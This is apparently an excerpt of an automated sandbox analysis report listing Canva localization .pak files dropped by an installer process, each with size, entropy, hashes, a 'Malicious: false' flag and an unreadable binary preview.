Preview:	........x%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.4...w.A...y.G...z.V...\|.\...}.n.....v.....{.......................................................................]...........(.....\.....]...................................t...........h.............................e.......................B...../...........y......................./.............................7.....=...................................a.............................. .....!.....".....#.....#.....$....0%....{%.....%....l&.....&....Q'....d'.....(.....(.....(.....).....).........5+....o+....C,.....,....x-.....-....O....../....r/...../....v0.....1.....1.....1.....2....T3.....3.....3.... 5.....6.....6.....7.....7.....8.....9....]9.....9.....:.....:.....:.....;...._<.....<.....=....F>.....?.....?....#@.....A.....A.....B....\B.....C....XD.....D....7E.....F....HG.....H....cH.....I....JK....HL....}L.....M.....N.....O....P....bQ....GR.....R....:S.....T.....T.....U....VU.....V....rW.....X

C:\Program Files (x86)\Canva\locales\ko.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	553673
Entropy (8bit):	6.059297407958035
Encrypted:	false
SSDEEP:	12288:OokI3UKOV2Ngi7w2IyxxMSVG0GTZn8t8OQ4E3hkaYrLCqD5dEp7RqGT8U1wXq7hW:sFel5i8QzCr
MD5:	714958C45E5EEBD32B6799FFD76159C0
SHA1:	B38CA8FFBEE6FDAAA00DE9C77074F4F6BBFEFB8D
SHA-256:	87F8003E7FE90A487C1007A626D30B8A77FEB54E627D3FE365DDB6A66A7E4AC4
SHA-512:	E60E77022902BF13E747354BD1AE5E9C3F4E8E6642D52C0EABDBAFF7B829ADD3251851A02B65F941985D31C7D5EA02347023F33269336B8B476E2314924022BB
Malicious:	false
Preview:	........w$..e.....h.....i.....j.....k.....l.....m.....o.....p.....q.....r.....s.....t.....y.'...z.6...\|.<...}.N.....V.....[.....c.....n.....v.................................................................a.................9.................S.....f...........J.......................t.................+.......................0.......................?.......................P.......................i.......................].......................\...................................U.....l.................B.....Y.................$.....4.........................................1.....M.................E.....U.................P.....c.................O....._.................N.....^...........S.......................^.......................Y.......................d.................).......................N.............................l.......................`................./.......................q.................!.......................+.............................\|.........................

C:\Program Files (x86)\Canva\locales\lt.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	594260
Entropy (8bit):	5.634301538864236
Encrypted:	false
SSDEEP:	12288:55mDjVARjMAUbgXaG1DT/G5qzIx1JgNR86SNM:+9IMQqOG5LxngNRX
MD5:	1051DEEA3EB2BC73A1CBEF894635541D
SHA1:	A122975C2C3366FC4D87AB4C6C3C6D65FF6AA4A9
SHA-256:	95253DEAE9554317C60490A982A4D310C87238096E3BAD0329E8BF4C944CBAED
SHA-512:	2DBB1DA602FE9966C03DEBB03C1B793574968D68C5386FBBB7E56E97D6626DBE4991ECA6B9C470BF778A327E3DB29530977D25BA40E5704501696DC8AF8D0302
Malicious:	false
Preview:	........Z%..e.^...h.f...i.w...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|. ...}.2.....:.....?.....G.....O.....W.....^.....e.....l.....m.....n.....p.....~.......................F...........4.....O...........e................._...........9.....S...........J.........................................S.................&........... .....T.....y.............................d.................%.................M.....]...........u.................f...........D.....b...........D.....k.................i.........................................W.................(.................V.....e...........c................./.......................e.................!...........T.................8...................................C.....k...........].................=.................-............ ....& ....9 ..... ....`!.....!.....!....S".....".....#....>#.....#.....$.....$.....$....v%.....%....8&....X&.....&.....'.....'.....'....:(.....(.....(.....(....Z).....)....**

C:\Program Files (x86)\Canva\locales\lv.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	593573
Entropy (8bit):	5.6301516471633715
Encrypted:	false
SSDEEP:	6144:fZBZxz1/4i+sRe28W/raTmNstVFph6T97vcGj/kbO15UyYTbEwTe757esFOHAYX0:hNylsRpWXQT9PrV15cEwTY5tONA19
MD5:	0308AEC65AD35B2282571098DDDBA5AE
SHA1:	5DD9A983BE7C29405575C658E73633F678FE4469
SHA-256:	54541C9ADEE8711C3D391B67B2081214166621212A670B0F2D633D1E2623A757
SHA-512:	967D4B19F8455B3D5633E6B9ADA3904B7974414990E705590FA2D2D0B2E721789165D4A2877C56287BCDEC27205C3D47D1F7CDFE912D4A27023E3AA087626ABF
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.&...t./...v.D...w.Q...y.W...z.f...\|.l...}.~.....................................................................................................p.................]...........(.....;...........p.................\...........-.....L...........+.....g.....r...........g.................#.............................9.........................................m...........3.....F...........j.................X...........N.....o...........:.....`.....v...........C.....l.....~...........Q.....x...................................]................. .................E.....T...........=.....p.................y.................V...........I.....a...........$.....?.....T...........S.......................y.................>.................H............ ....5 ....N ..... ....R!.....!.....!.....".....".....".....".....#....P$.....$.....$....N%.....%.....&..../&.....&....*'....d'....t'.....'....F(....a(.....(.....).....).....)

C:\Program Files (x86)\Canva\locales\ml.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1369647
Entropy (8bit):	4.256761759711836
Encrypted:	false
SSDEEP:	12288:oQyj0aIA2cMmsbbAU4LJxFq/ixn9mMl6UQ6KfUBp/OZCBEmeyo3ewhp5A47uhs4s:oQygaIiMGKfUBp+yo3eo5A47ks4+3X
MD5:	83069898AFA7CB0A288CF8D17505536F
SHA1:	2EC0F1F3CCDE4F88BBDF37EB1BF8FEDA82B12AB1
SHA-256:	957B57BAC9D8A927BE5CFBB74D23DCF69CF2678ECD4FCF2158A391F7A02FEA87
SHA-512:	E6F549C732F0BD0938B140978C49B2AA097876970ADFD7B87CA593ED54C3456C041FAC28883CFF7DA61C7EE3952A6C7EF2C4FAEDBFE6A23522FF6FFB083C24BB
Malicious:	false
Preview:	........t%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.,...w.9...y.?...z.N...\|.T...}.f.....n.....s.....{...........................................................$.....d.................Z.....C.......................W...........%.....r.....a.......................}.................n...........................................................I.................m.......................l.......................5.....y.................. ..... ....^".....#.....$.....$.....%....j&.....&.....&.....'....\|(.....(.....).....)..............*+.....,.....,....V-.....-....n....../...../...../.....0....n1.....1.....2.....3.....3....W4.....4....c5....+6.....6.....6.....7.....9.....9.....:.....:.....;....!<....Y<.....=.....=.....>....T>....0?.....?.....@.....@.....B.....B.....C.....D.....D.....E.....F....ZF....\|G....sH.....I....TI.....J....UK.....L....SL.....M.....N....yO.....O.....P.....Q.....R.....R....-T....(U.....U.....V.....W.....W....eX.....X.....Y.....Z.....[

C:\Program Files (x86)\Canva\locales\mr.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1125467
Entropy (8bit):	4.28845834623339
Encrypted:	false
SSDEEP:	3072:JASH222GPf+r97QyNiMJ0voJZVLF2wnVPbtwpFFyGRU3RxYR3lDdjE9xOUq/1A3Q:rYo+rdQyh0oaSpgKZmbzAyCLj5cpAK9T
MD5:	E45351AD81BE0444C2731E0FE2457BFD
SHA1:	23CAACD7F2354CB3C1A72CC89799DAAE3089EDE3
SHA-256:	BF42C87554153B83E53ED8B839A74A50E893ABDA190D7DDD73521CC6D121DFA7
SHA-512:	B93E70B09EB536A2AB58A064B05AA13D6B0EED08EE1681AB9C59374D119A8BF3CCC2793FE005D0C51734AFE25794C9BBD759EF7085A4B9FA6C3DD5E29D0F39B3
Malicious:	false
Preview:	........%<.e.....h.....i. ...j.,...k.;...l.F...n.N...o.S...p.`...q.f...r.r...s.....t.....v.....w.....y.....z.....\|.....}.........................................................................>.....`.................#.....[...........U.................H.............................8.....>.....;...................................$.................$.....D.....N.....,.................f...........m.......................~.......................a...................................P .....!....]".....".....#....g$.....$.....%.....%.....&.....&.....&.....'....H(.....(.....(.....)....~.....*....&+.....,.....,....M-....y-....@....../....a/...../....D0.....1....]1....}1....P2.....3....w3.....3.....4.....6.....6.....7.....7.....8.....8.....8.....9....4:....j:.....:....X;.....<.....<.....<.....=.....>.....?.....?.....@.....A.....A....CB....sC....lD.....D....>E.....F....MG.....H....3H.....I.....J.....K.....K....KM....UN.....N....cO....lP....JQ.....Q.....Q.....R.....S.....S.....T....3U....'V.....V

C:\Program Files (x86)\Canva\locales\ms.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	510468
Entropy (8bit):	5.247079358159538
Encrypted:	false
SSDEEP:	6144:v8fC43K+W84G7nWiBx7+2YRldjiMIUcGm95bbHxOM9LLEWVHc:0V3KE4CnPx7AldPc9530Me
MD5:	EE31ADEDC69D7926395E4740E724245D
SHA1:	4403D976C2C559747E15B219E76342ED3B41E5CE
SHA-256:	280AE72F9FB328D6B9E0BAA5C27157E7E5BF0EBF699EBEAC597DA0ED4F670776
SHA-512:	69426971040E9C8C5F9645A9E8ECE83E166575C23D9B1C5DB3F5A22488E5F7988127799FFF4CBC7445D8407E5F0761A666713C433030ACCCA4C991DD323F3181
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.%...t.....v.C...w.P...y.V...z.e...\|.k...}.}...........................................................................................................s.................N.......................p.................7.......................Q.......................G.......................I.......................o...........(.....@.............................m.......................[.......................x...........E.....W.............................a.......................3...............................................&.....................................................m.......................`.........................................0.............................b.......................?.....h.....y...........(.....]....................... .....,.......................-.................;.....T...........K.......................\|.................5.............................Y.....{.................9.....f.

C:\Program Files (x86)\Canva\locales\nb.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	495339
Entropy (8bit):	5.423906423434989
Encrypted:	false
SSDEEP:	6144:GsKfvlCYYJ+8hz2bdXw5Op7fW9SighmrlDhP5RV5iM43CuMhVCD9vt:KVCj0bxw5Op7fW9S8lNxRV5iM43JF9vt
MD5:	03F4AB4F1D042E41B37438AD38DDC794
SHA1:	D465F7B3B05AC289F7C96FB9CF6603C30AF81466
SHA-256:	1A35A4E5348CA851ADEC4EA1C666D56750D39174A35D74AB87CD061ABE063BF3
SHA-512:	D0007B98BA9D9F2BC102A516CDE49B3982DB4698A1BD31E22104F5F634072943C98C7CD53E8CB02E320FD3A1455F8AE42DD99679A527C64723BD3BBC37743C23
Malicious:	false
Preview:	........^%..e.f...h.n...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.(...\|.....}.@.....H.....M.....U.....].....e.....l.....s.....z.....{.....\|.....~.............................Z...........M.....b...........+.....d.....w.............................W.......................X.......................F.......................G.......................s.................;...........H.................".......................^...........#.....=...........].......................h.......................=.....b.....r........... .....E.....U.................T.....h...........(.....V.....f.................`.....p...........#.....L.....\.................H.....V...........@.......................N.....t.................2.....Q.....j.................9.....K...........8.....w.................b.......................n.................$.....u.................2...................................E.....n...........6 ....b ....u ..... .....!.....!....<!.....!....."....5"

C:\Program Files (x86)\Canva\locales\nl.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	511257
Entropy (8bit):	5.365372926149592
Encrypted:	false
SSDEEP:	12288:syWoBilbWusvbgQ5Max5btohx4Gp7KYjOTy:syWIilbWusB5Max5behx4Gp7KYC2
MD5:	834219D952A58BDB01B40CCE5269D449
SHA1:	C325FDD7E21E993B745233086C9DF4376901E2B4
SHA-256:	9B46EEC8A0B0B568DDC35387CA02C2116BAA7520EFB04D92325FEC17D5091353
SHA-512:	9C28177D8530B24FEDCCDD7B4562A87CDF08567410D82FFC3E5A874474695A18EB533E7D55E4A901B77C873A22BEFF570B5C5CD79B47947B5BF3AF2C38B9D486
Malicious:	false
Preview:	........M%..e.D...h.L...i.]...j.i...k.x...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}....... .....%.....-.....5.....=.....D.....K.....R.....S.....T.....V.....b.....r.................#.......................r.................".................N.....d...........1.....g.....~...........).....R.....a.................5.....C.................R.....s...........K.......................`.......................o.................-.......................v...........5.....N.......................%.....s.......................G.......................6.......................8.............................p.......................O.....{.................D.....x.................c.......................r.......................X.....y.................F.....n.................R.......................W.....u.................M.......................b.................H................./................._.................O.......................8.....\.....l............ ....\

C:\Program Files (x86)\Canva\locales\pl.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	571219
Entropy (8bit):	5.764870780434209
Encrypted:	false
SSDEEP:	12288:HlRzWoOB/k0wvZfQfR6HA5bFVP3CUdCe3mhUrMAmW1Qh4Mh59M14scly:HlR9glMe1Qhz53Q
MD5:	75E71F0C6E72AC4F9DAD168BA307D2B0
SHA1:	41129512809F2AFAE64B04FB1EFA81D9C22B8389
SHA-256:	C8F76EF189D14A0C75407DC40348CD9171F5997A94A4961D86152CEA2258ECF6
SHA-512:	EBB279F36D612CB1D94E9333140CACFC9E7946A646CF28CD75F55AB20680B4ED5645AC9887FA528A07F8BB03FE942D8E104D63AF1B11CB9F79826F34E53DBEF6
Malicious:	false
Preview:	........a%..e.l...h.t...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.&...\|.,...}.>.....F.....K.....S.....[.....c.....j.....q.....x.....y.....z.....\|.............................b...........].....y...........G.................&.......................s.................(.................................................................;.....a...........W.................4.......................J.......................v...........:.....V...........g.................C.............................O.....r.......................6.....D.................F.....Z.................H.....Z.................@.....P.................'.....7.................'.....8...........".....o.................!.....>.....U.......................E.................5.....J.................k.................5.....S.....j.................C....._...........<.....................................................1.....\............ ....C ....T ..... ..... .....!.....!.....!.....!....("

C:\Program Files (x86)\Canva\locales\pt-BR.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	537107
Entropy (8bit):	5.4226739022427255
Encrypted:	false
SSDEEP:	6144:cneZxthZ8l/gooNBXBLZWkoyVH553JBi90sRaY5Cs:rxOl/go+5NJ9sR15x
MD5:	F8BCB6FD83B0425ABB9B214535025140
SHA1:	51E72F9B419393674E8CC9AC3ABABD6FCDEFA251
SHA-256:	3EF0114EAF2268262CD594BFE33B56B24FB416D23D6FD125A9AE022D8ECEAA99
SHA-512:	A5DC5E3EAD99820D3EE9B83CF58670923EDB8B538DAE84FFC6B1AEA9869FEC58F0A5E8AD8BA5A792736D1A593B4B6664D734BE3EF524FC2B036B268FE108B5A2
Malicious:	false
Preview:	........c%..e.p...h.x...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.,...\|.2...}.D.....L.....Q.....Y.....a.....i.....p.....w.....~...............................................l...........T.....p...........7.....p.....................................................0.............................f...................................B.....r...........g.................B.......................g...................................S.....l...........x.................=.............................y.......................v.........................................!.....x.......................W.......................1....._.....i...........&.....^.....o...........j.................(.....r.......................C.....i.................E.....]...........V.................:....._.....x.................E.....X...........(.....s...............................................G.....r...........$ ....L ...._ ..... ..... ...."!....7!.....!....."....L"....l"....."

C:\Program Files (x86)\Canva\locales\pt-PT.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	539844
Entropy (8bit):	5.396781215354528
Encrypted:	false
SSDEEP:	6144:rtptZSTJLUHxk7jZieJVJJxhHLshYfVh85FKybSRLi:rtpmtAkt85FKsSRW
MD5:	90964C1734B1C36442DD69EDBD85882C
SHA1:	BA1FF66B255FE432278BC44860C6C4B3DA975296
SHA-256:	B9439000C1C75565C2F223612079A51971AC54A3786D5B631F20436447929465
SHA-512:	5A6AFC90FF5A3A65E9E2F4347635A82CCBFCC9D1F5D6B206828650AA49A2DCC59D3C8833CBFB9FC7CE8F347A28D718567E1CC300758A2EA5126C67E0967AEDC8
Malicious:	false
Preview:	........~%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s."...t.+...v.@...w.M...y.S...z.b...\|.h...}.z...........................................................................................................x.................^.................G...........'.....B...........-.....q.................8.....b.....r.................F.....X...........F.................,.......................f..................................).....9.................W.....l...........b.................7.......................".....\|................................................................2.............................s.......................L.....y.................:.....n.................].......................m.......................2.....L.....]...........!.....N.....h...........A.......................W.......................A.....w.................M.................;...................................e............ ....l ..... ..... .....!....`!.....!.....!....."....h"....."

C:\Program Files (x86)\Canva\locales\ro.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	559523
Entropy (8bit):	5.4511750881399434
Encrypted:	false
SSDEEP:	6144:JF04spOl5qs9TjmXHjvyJeyFodxOINkjK0yGZq5zZyo2ts2H/ktO3:JS4sAKQmXHuJRFozO/u0zq5zAoY/b3
MD5:	3DFCF8B66CE93A258D1631685A137E20
SHA1:	4B10119ACB26C44EDFF2028D27E960B93C0BD812
SHA-256:	5E5D1CDE0FCEB570C20E7485B32F0EF7AD59569B93574FCBBC7AEAD4906E7D14
SHA-512:	17FE50ECD7D44EE5D652B4240CC3B01CF796F9EC11C5FDFE5AF9DE63999F10D2A50842FDF95FA2DBB4982139C34A9DFB11C8BC2261180862652A92F1497692C4
Malicious:	false
Preview:	........]%..e.d...h.l...i.}...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.$...}.6.....>.....C.....K.....S.....[.....b.....i.....p.....q.....r.....t.............................A.................9.................3.....G...........N.................?......................._.......................B.......................Q...................................L.....p...........N.......................r.................-.......................~...........N.....\|.................9.....V.......................%.....v.......................[.......................X.......................E.............................k.......................S.........................................M.............................e.......................j.................7.................".....t.......................e................................... .....5...........2.................'.......................t............ ....$ ....x ..... ..... ..... ....z!.....!....9"

C:\Program Files (x86)\Canva\locales\ru.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	919180
Entropy (8bit):	4.8229638553919765
Encrypted:	false
SSDEEP:	12288:vzmSGKfQjRo4YS5KCx/K6NzJ9ZF/Aalla4qSGsN9z/0TYH8eXN2hVO3j/tSbzvMv:vYXxm506tU
MD5:	DE3B5FAF5D64B16867BE213591E545B9
SHA1:	5B8BDAF38278604B5031E1C944349A31FDD281B4
SHA-256:	07DBEEE5A0B9C6C978D1C593DB5DD6152003FA12170A8189BDDE77908D826DCF
SHA-512:	5808A46DD05302338EF63B1F1815828840218324A6FBB1AE6B19F62D803795BA13F7AB7AEE1E39137F61F99651AC80166781CDB1F295FBBFDBB218C5A293967F
Malicious:	false
Preview:	.........$..e.....h.$...i.5...j.A...k.P...l.[...n.c...o.h...p.u...q.{...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................#..........+.....,...........K.....h.................h.....(.................y...........{...........~.....;.................y...........>.....x.....'.........../.....R.................H....._.......................A.....4...........~...........q...........V...........2.................8.......................G.....K.....E.......................'.....T...................................V...................................O.....t.........................................W.....n...........k.................9........................ ..... ....V!.....!....."....\|"....."....."....K#.....#.....#.....#....s$.....%....{%.....%.....&....%'.....'.....'....s(.....(.....(.....).....)....>....~.........\|+.....+....d,.....,....a-......................./.....0.....1....c1.....2.....2.....2.....2....o3.....3.....4....64.....5.....5....+6

C:\Program Files (x86)\Canva\locales\sk.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	577498
Entropy (8bit):	5.8098091220164525
Encrypted:	false
SSDEEP:	12288:rSkwf/qsOkNEpiIip+RC5zwbLfrQzLPxt9eI:3wf/qsgpiCC5OLkBtEI
MD5:	421D713180D716A060629C334630ED80
SHA1:	FD2D0A0A6D7A27C40A725C1757299AFE6D3A12FB
SHA-256:	BE66B2442B5B4A6DC28A14545E2C4A0BC7F9E6547A89F974D7B8A63525C1855F
SHA-512:	A6C8F62DFE81008A888FAB89BCCDCA8242650771BC2B07CB6B51B77DDA2C8EB9F2681D6260CA584ED2BDBC1EB6A60B78C8E07445FAA4E15D2B30134989263EB0
Malicious:	false
Preview:	........_%..e.h...h.p...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.'...\|.-...}.?.....G.....L.....T.....\.....d.....k.....r.....y.....z.....{.....}.............................p...............................................c...........7.....Q...........".....[.....r...........A.....p.................<.....e.....y...........R.................G.................6...........-.....h.................d.................7.............................-.....~.................O.....o.................E.....k.....}...........>.....e.....w...........W.........................................*.......................;.......................Z.............................5.......................8.....S.....g.................8.....M.................O....._...........\.................1.......................5.......................U.............................W ..... ..... ....R!.....!.....!.....".....".....".....#..../#.....#.....#.....$.....$.....$.....%....M%

C:\Program Files (x86)\Canva\locales\sl.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	554338
Entropy (8bit):	5.479799007655059
Encrypted:	false
SSDEEP:	12288:v/ym7W5Op5rB2I+EbME5G8coJHvbxi/fz4Cqc:Xym7Wop5T3ME5G8cii/fz44
MD5:	C2C99E4B36E16403DED88CFF651671C7
SHA1:	F3257F4B444CD2E33451A76BD55F81372F622681
SHA-256:	8095CE45373D8DE8DD243FEC034643060CBFF67A48FA81414E31A0B9327EEFC4
SHA-512:	D8C76B7C9C3B6A1CF5C72ABED0B53E2552EE28D1575CBE3B680904281F07EC797D37A4D60590490984C6C0DCB33D3C688869DEE9C51920D4B41862D1E5FD7DC2
Malicious:	false
Preview:	........K%..e.@...h.H...i.Y...j.c...k.r...l.}...n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}...................'...../.....7.....>.....E.....L.....M.....N.....P.....b.....p.................%................. .................'.....8...........D.......................z.......................y.......................l.................!.......................a.................-.................E.....[.........../.....f.....z...........t.................e...........6.....\.................".....:.................................................................6.....J.................D.....U...........;.....\|.................M.....{.................Q.......................m.................$.....y.......................^.....\|.................Y.................*.......................[.......................T.......................t.................&...........p.......................0 ..... ..... ..../!.....!.....!.....!....+"....\|".....".....".....#.....#.....#

C:\Program Files (x86)\Canva\locales\sr.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	853696
Entropy (8bit):	4.754963351356009
Encrypted:	false
SSDEEP:	12288:QhjTzIuup7+q2YZAYI8glSDdrLuzQhrUPb7FW5YrT0xs7xH4rL37SjeYM/k/p:0jvwvwlW5nxoP
MD5:	D0045EF8D5EA1347F09983410EFFF00C
SHA1:	4C88AEC2A3D54E44E0D05281201B06917FAF17AD
SHA-256:	A50C82C0DB17E2AA4A62068CA2B210FD9847D32BF2134D6D5AF1FC4B7050091A
SHA-512:	1694CBD28BD29E5F394E3F6CEC01F9EFBB9DA8358F59FF80F550D4059ABDB02E02D4D4DA007E0646FA5CFC812FF8F94FE0A747BDF8B6F8449F02D28D83D536D5
Malicious:	false
Preview:	........j%..e.~...h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.%...y.+...z.:...\|.@...}.R.....Z....._.....g.....o.....w.....~.....................................................7.....$...........e...........]...........j.................S...................................A...........p.................o...........,.....C.......................?.....?.............................%.................n...........g...........r.....).............................a...............................................6.....Y...........V.................q...........r...........A.................7...........P ..... ..... ....R!.....!....."....6"....."....e#.....#.....#.....$....S%.....%.....%.....&.....&....5'....]'.....'....l(.....(.....(.....).........k.....*....X+.....+....K,.....,....>-.....-.....-................^/...../...../.....0....?1.....1.....1.....2.....3....C4....a4....O5.....5....h6.....6....l7.....7....K8....l8.....8....g9.....9.....9.....:....5;.....;

C:\Program Files (x86)\Canva\locales\sv.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	498248
Entropy (8bit):	5.542683564471982
Encrypted:	false
SSDEEP:	6144:g3MKUcRe61TO/AYcNUAvSCZxemvZl1BI4RFcz9RyoxGOGW3IiRMaSOmDE/xWcqdk:g3/LCAYcGC1l5+5dzB
MD5:	02AD118E6E093D71E32291958F5A44FA
SHA1:	111974CF0FBC304B1395A6D68FF3A79A25B72B76
SHA-256:	A615C0756155436781F8E8543D4B4163B7D96CBDF58BA86DDCE8B39C5B7A17C8
SHA-512:	717A438BBEE8D21011C1DA203B5126EF4AC330CD94013A93EEBA518E5E33772A8667A84C368B1A9B2D1E151D8A81E53CD0C5C59C58A578BD4AA1345115C4A49B
Malicious:	false
Preview:	........)%=.e.....h.....i.....j.!...k.0...l.;...n.C...o.H...p.U...q.[...r.g...s.x...t.....v.....w.....y.....z.....\|.....}...............................................................................1.....E.....Y...........^.................%.......................a.................G.................P.....l...........".....Q.....a...........!.....R.....b...........F.........................................K.......................U...................................[.....q.............................j.......................F.......................#.....{.........................................$.............................v.......................f.......................d.......................x................. .....s.......................I.....g.......................;.....M...........%.....b.................F.....e.....{...........7....._.....t...........-.....h.....~.............................m.................;.................7.....J.................. ..... ....l ..... .....

C:\Program Files (x86)\Canva\locales\sw.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	524797
Entropy (8bit):	5.339786582850613
Encrypted:	false
SSDEEP:	12288:Za8pzL2fuucrB5G7CCRdCAUQbQW4243EaeFNUq89F1ggt45rUAcw06yJMkJPe/Bb:HkJ5IY
MD5:	AD41974EFF2483E260B558AC010879DC
SHA1:	BE8B566A4CE4A529F8EB0352ABC7A2023A9B5355
SHA-256:	ECC84D9A40448772697C14F27B1297FCDCE12DF30D008A7D4149A6AA587D85A8
SHA-512:	2B731DAAD19CA5E43D29106C1EC06B8BA6B54EF44571FD51C2CF65DA4C9BA1941D78808D03F2056A839E2E76844E979B775AFC7B470640101328B572D10E0C4E
Malicious:	false
Preview:	........X%..e.Z...h.b...i.m...j.y...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.(.....0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....i.....{.......................;................. .......................@...........3.......................L.......................=.....h.....w...........".....Q....._...........,.....`...................................[.......................i.......................j.............................&.......................F.....n.......................:.....C.........................................=.....K.................0.....B.................C.....N.................%.....2.................%.......................X.....q...........$.....P.....l................._.................@.....\|.................h.................>.............................f.................'.....\|.................f...........;.....O...........1.....t...................................L ..... ..... ..... ....n!.....!....!"

C:\Program Files (x86)\Canva\locales\ta.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1358123
Entropy (8bit):	4.034318859603253
Encrypted:	false
SSDEEP:	6144:obtBkiv2nWiuF5uzGtR6cA25tm1vYpiMyj:afdenWzF5uz/cA25tm1vYpiMyj
MD5:	2F628ABBFE91A7738CD47142E42A4CCB
SHA1:	9FB966C32D237E3ADDBED97478CB84697BCF1FE3
SHA-256:	3C8DCE29BCF2B60BCC273229AFCA64EB07A73C729D0D20E35455CC5D933E9A69
SHA-512:	9A1F0A40E8FF8E68DD08DBEA55DCFF45E7BBE76DE45520323832A9004698E6AB30D53ECA58EFE6DB08621F940A80C3AE441E038BCEFA4206CAFAF664E6CC0BFB
Malicious:	false
Preview:	........@%&.e....h.2...i.C...j.O...k.^...l.i...n.q...o.v...p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}...............................#..........1.....8.....9.....:.....?.....m.................<...........7...........&.....x...........b......................\.................'.............................Q...........l.....N.........................................o...........w...................................=.....e...........9...... .....!.....".....#.....$.....%.....&.....'.....(.....(....:).....)....o....K+.....+.....+.....,.....-..........;.....f/....p0.....1....N1....E2....63.....3.....3.....4.....5....56....c6....\7....L8.....8.....8.....9.....:....\;.....;.....<....<>.....?....\?....W@....?A.....A.....A.....B.....C.....C....HD.....E.....F.....F.....G....GH....UI.....I....]J....5K.....K....KL.....L.....M.....N....]O.....O....-Q....@R....!S....rS....^U....HW.....X.....X....FZ....S[.....\....}\.....]....._....._....)`....-a.....b.....b.....b.....d....;e.....e

C:\Program Files (x86)\Canva\locales\te.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1255925
Entropy (8bit):	4.288346104977189
Encrypted:	false
SSDEEP:	12288:sHU9G7McKNBJhot56d4e/gb0HrWs05Bk3p1FZNViFlV2wtg+NFqIrOlHXAAFwQVV:s0X1u5EM2X
MD5:	44C01878B175E976E75CE036E4D7A495
SHA1:	91ECD7611C7C25F8615F234537819BE42799B288
SHA-256:	7F28D607ED94E339B677CD5556202FB60F7E801E74AF16397EF610C7302F6957
SHA-512:	3AFBFB3D6A95F1D61FE6A409729C768F1E4F0B3B4C1B6E35AF806F0AABCB6FF516CC70E9A112C2C6CEDE88C2778BFAE08A3E6AFFD05C9D5BC8A5DD4A4EC9BDD3
Malicious:	false
